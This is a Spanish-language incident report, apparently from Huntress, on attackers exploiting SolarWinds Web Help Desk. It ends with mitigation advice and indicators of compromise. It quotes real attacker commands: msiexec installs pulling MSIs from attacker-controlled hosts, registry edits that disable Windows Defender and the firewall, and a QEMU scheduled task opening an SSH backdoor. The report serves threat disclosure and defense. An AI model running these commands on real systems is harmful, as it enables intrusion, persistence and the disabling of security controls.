Explotación activa de SolarWinds Web Help Desk

Agradecimientos: Un agradecimiento especial a Dipo Rodipe, Dray Agha y Lindon Wass por sus contribuciones a esta investigación y a este artículo.


Resumen: Huntress ha observado a actores de amenazas explotando una vulnerabilidad de SolarWinds Web Help Desk en 3 clientes; las organizaciones deben aplicar la actualización del sitio web de SolarWinds lo antes posible.

Contexto

El 7 de febrero de 2026, el analista del SOC de Huntress Dipo Rodipe investigó un caso de explotación de SolarWinds Web Help Desk, en el que el actor de amenazas implementó rápidamente Zoho Meetings y túneles de Cloudflare para persistencia, además de Velociraptor como medio de comando y control.

Esta intrusión se originó a partir de las numerosas vulnerabilidades reveladas recientemente que afectan a SolarWinds WHD. Las vulnerabilidades más críticas permiten a un adversario la ejecución arbitraria de código mediante deserialización no confiable; CVE-2025-40551 se agregó recientemente a la base de datos de Known Exploited Vulnerabilities de CISA, y CVE-2025-26399 fue analizada recientemente por Microsoft y otros proveedores que también han observado explotación activa en entornos reales.

Todas las versiones anteriores de SolarWinds Web Help Desk previas a 12.8.7 HF1 son vulnerables a estas vulnerabilidades. Puedes encontrar la versión de tu SolarWinds WHD en esta ruta:

C:\Program Files\WebHelpDesk\version.txt

A view of SolarWinds Web Help Desk
Figura 1: Una vista de SolarWinds Web Help Desk

En toda nuestra base de socios, Huntress protege 84 endpoints en 78 organizaciones que usan SolarWinds Web Help Desk.

Observaciones de Huntress

Zoho Assist, pero convertido en malicioso

Huntress observó actividad activa de posexplotación proveniente de esta instancia comprometida de SolarWinds Web Help Desk (WHD).

La cadena de ataque se originó en wrapper.exe, el wrapper del servicio de WHD, que generó java.exe, la aplicación subyacente de WHD basada en Tomcat. Luego, el proceso de Java lanzó cmd.exe para instalar en silencio un payload MSI remoto mediante este comando:

msiexec /q /i hxxps://files.catbox[.]moe/tmp9fc.msi

El adversario aprovechó el servicio de alojamiento de archivos Catbox para preparar un agente RMM de Zoho ManageEngine, una herramienta legítima de administración remota que los actores de amenazas pueden usar indebidamente para mantener acceso persistente y manual al entorno comprometido. Esta actividad coincide con el aviso de Microsoft del 6 de febrero sobre la explotación activa de SolarWinds Web Help Desk, lo que confirma que los actores de amenazas están aprovechando activamente las vulnerabilidades de WHD como arma para lograr ejecución remota de código y desplegar herramientas adicionales en los entornos de las víctimas.

Curiosamente, el agente de Zoho Assist estaba configurado para acceso desatendido, registrando el endpoint comprometido en una cuenta de Zoho Assist vinculada a una dirección de Proton Mail, esmahyft@proton[.]me.

Una vez establecido el agente RMM de Zoho ManageEngine, el actor de amenazas no perdió tiempo en pasar a la actividad manual directa. Usando el proceso del agente RMM (TOOLSIQ.EXE) como punto de apoyo operativo, ejecutó comandos de reconocimiento de Active Directory para enumerar las máquinas unidas al dominio mediante net group "domain computers" /do, una técnica de reconocimiento clásica orientada a identificar objetivos viables para el movimiento lateral.


Figura 2: Detección de Huntress del reconocimiento de dominio y la entrega del payload MSI generados a partir del proceso del servicio de WHD (TOOLSIQ.EXE)

Poco después del reconocimiento inicial, el actor de amenazas aprovechó la sesión remota de Zoho Assist para desplegar Velociraptor, una herramienta legítima de código abierto para análisis forense digital y respuesta a incidentes (DFIR), en el endpoint comprometido. La instalación se realizó mediante una ejecución silenciosa de MSI, obteniendo el instalador desde un depósito de almacenamiento de Supabase controlado por el atacante:

msiexec /q /i hxxps://vdfccjpnedujhrzscjtq.supabase[.]co/storage/v1/object/public/image/v4.msi

¿Quién está ejecutando Velociraptor? El Blue Team no.

Si bien Velociraptor está diseñado para ayudar a los defensores con el monitoreo de endpoints y la recolección de artefactos, sus capacidades, como la ejecución remota de comandos, la recuperación de archivos y la ejecución de procesos mediante consultas VQL, lo hacen igual de eficaz como un framework de C2 cuando se apunta hacia infraestructura controlada por el atacante.

El archivo de configuración de Velociraptor descubierto tenía algunos componentes interesantes:


Loading Gist...

Esto demuestra que el adversario usó Velociraptor versión 0.73.4, una versión desactualizada conocida de Velociraptor con una vulnerabilidad de escalada de privilegios, que otros proveedores también han visto aprovechada en campañas anteriores.

La URL del servidor de Velociraptor, https://auth.qgtxtebl.workers[.]dev/, utiliza un Cloudflare Worker de la misma cuenta de Cloudflare que hemos visto antes en múltiples intrusiones que involucran explotación de ToolShell y despliegue de ransomware Warlock, identificada por el componente de identificador compartido por cuenta del subdominio: qgtxtebl.

Con el agente de Velociraptor instalado como un servicio de Windows, el actor de amenazas comenzó a ejecutar una secuencia rápida de comandos de PowerShell codificados a través del agente de Velociraptor, todos siguiendo el mismo patrón de ejecución: powershell.exe -ExecutionPolicy Unrestricted -encodedCommand. Esto es consistente con el método predeterminado de Velociraptor para ejecutar PowerShell en endpoints, donde los comandos se codifican en base64 (UTF-16LE) para evitar problemas con caracteres especiales y el escape de rutas.

Verificación de hash en el binario de VS Code

El primer comando observado del proceso de Velociraptor fue una verificación de hash de un archivo ya presente en el disco:

Get-FileHash "C:\ProgramData\Microsoft\code.exe"

El actor de amenazas luego descarga code.exe a esta misma ruta desde un bucket de almacenamiento de Supabase, lo que sugiere que esto fue una verificación previa para determinar si el binario necesitaba volver a descargarse. La ruta de archivo C:\ProgramData\Microsoft se mezcla con herramientas legítimas de Microsoft en sistemas Windows.

Instalación de Cloudflared

Poco después, el actor de amenazas instaló Cloudflared directamente desde la URL de lanzamiento oficial de GitHub:

msiexec /q /i hxxps://github[.]com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.msi

Esto establece un canal adicional basado en túnel junto con la conexión de C2 de Velociraptor existente, lo que le da al actor de amenazas acceso redundante al endpoint comprometido.

Exfiltración de reconocimiento del sistema hacia Elastic Cloud

Aquí es donde las cosas se ponen interesantes. A solo tres segundos de iniciada la secuencia, el actor de amenazas ejecutó un script de PowerShell que recolecta información completa del sistema y la envía directamente a una instancia de Elastic Cloud controlada por el atacante:


Loading Gist...
El script ejecuta el cmdlet de PowerShell Get-ComputerInfo, que devuelve información detallada del sistema, incluyendo la versión del sistema operativo, las especificaciones de hardware, la membresía de dominio, los hotfixes instalados y más. Luego formatea la salida como NDJSON y la envía a un índice systeminfo de Elasticsearch mediante la API Bulk usando una clave de API codificada directamente en el script.

El uso de Elastic Cloud como backend de recolección de datos es una elección de técnica notable. El atacante aprovisionó su propia implementación de prueba gratuita de Elastic Cloud sobre la infraestructura SaaS legítima de Elastic alojada en GCP. En un giro irónico, el actor de amenazas esencialmente se construyó un SIEM, usando Elastic nada menos, para clasificar a sus víctimas. Cada endpoint comprometido envía su perfil completo del sistema a una instancia centralizada de Elasticsearch que el operador puede consultar, filtrar y ordenar a gran escala mediante Kibana. Las propias herramientas de Elastic, normalmente usadas por los defensores para la caza de amenazas y la respuesta a incidentes, fueron reutilizadas como un panel de gestión de víctimas del atacante.

Hemos reportado esta instancia maliciosa a Elastic, así como a las autoridades, y realizamos la notificación a las víctimas y el contacto con socios ajenos a Huntress. Tras nuestros esfuerzos de coordinación y colaboración, esperamos compartir pronto una “Parte 2” de este análisis con más detalles sobre la infraestructura y la actividad maliciosa del actor de amenazas.

Desactivación de Windows Defender y Windows Firewall

Tras una pausa de aproximadamente 84 segundos, el actor de amenazas pasó a desactivar los controles de seguridad mediante modificaciones del registro:

  • reg add "HKLM\SYSTEM\CurrentControlSet\Services\mpssvc" /v Start /t REG_DWORD /d 4 /f
  • reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  • reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
  • reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOAVProtection /t REG_DWORD /d 1 /f
  • reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
  • reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealTimeMonitoring /t REG_DWORD /d 1 /f
  • reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpynetReporting /t REG_DWORD /d 0 /f

Descarga del binario del túnel de VS Code desde Supabase

Aproximadamente un segundo después de desactivar Defender, el actor de amenazas descargó una copia nueva del binario de VS Code:


Loading Gist...
Esto resulta interesante en contexto: el primer comando de la cadena ya había verificado un code.exe existente en la misma ruta mediante Get-FileHash. El actor de amenazas parece revisar primero la copia preestablecida y luego descargar una copia nueva después de desactivar Defender. Si bien el actor de amenazas no llegó a usar code.exe, es posible que lo haya descargado por si necesitaba usarlo para crear túneles, como se vio en incidentes anteriores que también resultaron usar Velociraptor.

Mecanismo de conmutación por error de C2

Este es posiblemente uno de los comandos más interesantes desde el punto de vista operativo en toda la cadena. Ejecutado con la misma marca de tiempo que la descarga de VS Code, este script implementa un mecanismo de conmutación por error de C2 en vivo para el agente de Velociraptor:


Loading Gist...

El script sondea v2-api.mooo[.]com en el endpoint /reader. Si el servidor responde con un código de estado HTTP 406 (Not Acceptable), el script reescribe el archivo client.config.yaml de Velociraptor en el disco, reemplazando el dominio C2 actual auth.qgtxtebl.workers[.]dev por v2-api.mooo[.]com, y reinicia el servicio de Velociraptor para aplicar la nueva configuración.

Esta es una migración de C2 basada en señales: el HTTP 406 actúa como un disparador del operador que indica que “el dominio worker.dev está quemado, y hay que cambiar al de respaldo”. Si el endpoint devuelve algo distinto de un 406, o no está disponible, la configuración se mantiene sin cambios y Velociraptor sigue comunicándose con el dominio original de Cloudflare Workers. Esto le da al operador la capacidad de rotar dinámicamente la infraestructura de C2 en toda su flota de endpoints comprometidos con solo alternar el código de respuesta HTTP en el servidor de respaldo.

Recopilación de información del sistema

El último comando de reconocimiento en la secuencia fue una simple ejecución del comando systeminfo, probablemente como método de recopilación secundario o como medida de redundancia en caso de que la exfiltración anterior basada en PowerShell hacia Elastic Cloud no hubiera tenido éxito.

Reinicio del servicio de Velociraptor

El último evento observado en esta cadena fue el reinicio del servicio de Velociraptor a las 12:38:41 UTC, coherente con el script de conmutación por error de C2 que ejecuta Restart-Service Velociraptor -Force:

C:\Program Files\Velociraptor\Velociraptor.exe  --config "C:\Program Files\Velociraptor\/client.config.yaml" service run

Persistencia usando QEMU

También encontramos casos en los que las máquinas de las víctimas mostraban los signos reveladores de compromiso vistos en informes anteriores relacionados con una tarea programada llamada TPMProfiler. Si bien existen tareas legítimas que comienzan con “TPM” (como Trusted Platform Module), este nombre en particular solo se ha visto como malicioso en todos los endpoints que hemos observado.

Cada una de estas tareas programadas usó QEMU para abrir una puerta trasera SSH como mecanismo de persistencia. En un caso, QEMU ya no estaba en la máquina, que llegó comprometida. No está claro si el atacante eliminó rastros de su actividad, o si esa parte del ataque simplemente no tuvo éxito en general. La instancia más antigua conocida de este mecanismo de persistencia se instaló el 16 de enero de 2026, a las 21:24:40 UTC. Esto nos puede dar una posible línea de tiempo de cuándo pudieron haber comenzado realmente estos ataques.

Figura 3: Ejemplo de la tarea programada TPMProfiler

Aunque hubo múltiples componentes en esta intrusión e investigación, a continuación se muestra una línea de tiempo visual de la actividad observada del actor de amenazas.


Figura 4: Línea de tiempo de las actividades del atacante

Guía de mitigación

Para proteger mejor a tu organización contra la explotación de SolarWinds Web Help Desk, recomendamos encarecidamente lo siguiente:

  • Actualiza SolarWinds Web Help Desk a la versión 2026.1 o posterior, que soluciona CVE-2025-26399, CVE-2025-40536, y CVE-2025-40551. Todas las versiones anteriores deben considerarse vulnerables. Consulta la guía de actualización de SolarWinds para obtener instrucciones.
  • Las interfaces administrativas de WHD no deben ser accesibles públicamente. Coloca WHD detrás de una VPN o firewall y elimina el acceso directo a internet a las rutas de administración.
  • Restablece las contraseñas de todas las cuentas de servicio, cuentas de administrador y cualquier credencial accesible a través de la aplicación WHD o almacenada en ella.
  • Revisa los hosts de WHD en busca de herramientas de acceso remoto no autorizadas (Zoho Assist, Velociraptor, Cloudflared, túneles de VS Code), servicios inesperados, ejecución de PowerShell codificada e instalaciones silenciosas de MSI generadas por el proceso del servicio WHD (java.exe / wrapper.exe).

¿Qué está haciendo Huntress?

Huntress cuenta con detecciones para identificar actividad posterior a la explotación derivada de instancias comprometidas de SolarWinds Web Help Desk. Huntress continúa monitoreando activamente esta amenaza en toda nuestra base de socios.

Además, preparamos un artículo de la base de conocimientos con los datos clave para que los compartas con tus equipos.

Sigma 

Las reglas de Sigma relevantes para detectar este tipo de actividad se pueden encontrar en nuestro repositorio de GitHub de Threat Intel. También se han proporcionado gists para mayor comodidad:


Loading Gist...
Loading Gist...

Indicadores de compromiso (IOC)

Elemento

Descripción

https://files.catbox[.]moe/tmp9fc.msi


SHA256:

897eae49e6c32de3f4bfa229ad4f2d6e56bcf7a39c6c962d02e5c85cd538a189

Instalador de Zoho Meetings

https://vdfccjpnedujhrzscjtq.supabase[.]co/storage/v1/object/public/image/v4.msi


SHA256:

46831be6e577e3120084ee992168cca5af2047d4a08e3fd67ecd90396393b751


Instalador de Velociraptor

https://auth.qgtxtebl.workers[.]dev/

URL del servidor de Velociraptor

https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.msi

Instalador de Cloudfared

https://vdfccjpnedujhrzscjtq.supabase[.]co/storage/v1/object/public/image/code.txt


C:\ProgramData\Microsoft\code.exe


SHA256:

34b2a6c334813adb2cc70f5bd666c4afbdc4a6d8a58cc1c7a902b13bbd2381f4

Versión portátil de VSCode

esmahyft@proton[.]me

Correo electrónico de la cuenta de Zoho Assist

v2-api.mooo[.]com

Dominio de respaldo de Velociraptor

client.config.yaml

SHA256:

bbd6e120bf55309141f75c85cc94455b1337a1a4333f6868b245b2edfa97ef44

Archivo de configuración de Velociraptor

Ruta de la tarea:

C:\Windows\System32\Tasks\TPMProfiler


Comando:

C:\Users\[user]\tmp\qemu-system-x86_64.exe -m 1G -smp 1 -hda vault.db -device e1000,netdev=net0 -netdev user,id=net0,hostfwd=tcp::22022-:22

Tarea programada (persistencia)



Ruta de la tarea:

C:\Windows\System32\Tasks\TPMProfiler


Comando:

C:\Users\[user]\local\qemu-system-x86_64 -m 1G -smp 1 -hda bisrv.dll -device e1000,netdev=net0 -netdev user,id=net0,hostfwd=tcp::32567-:22

Tarea programada (persistencia)

También te podría interesar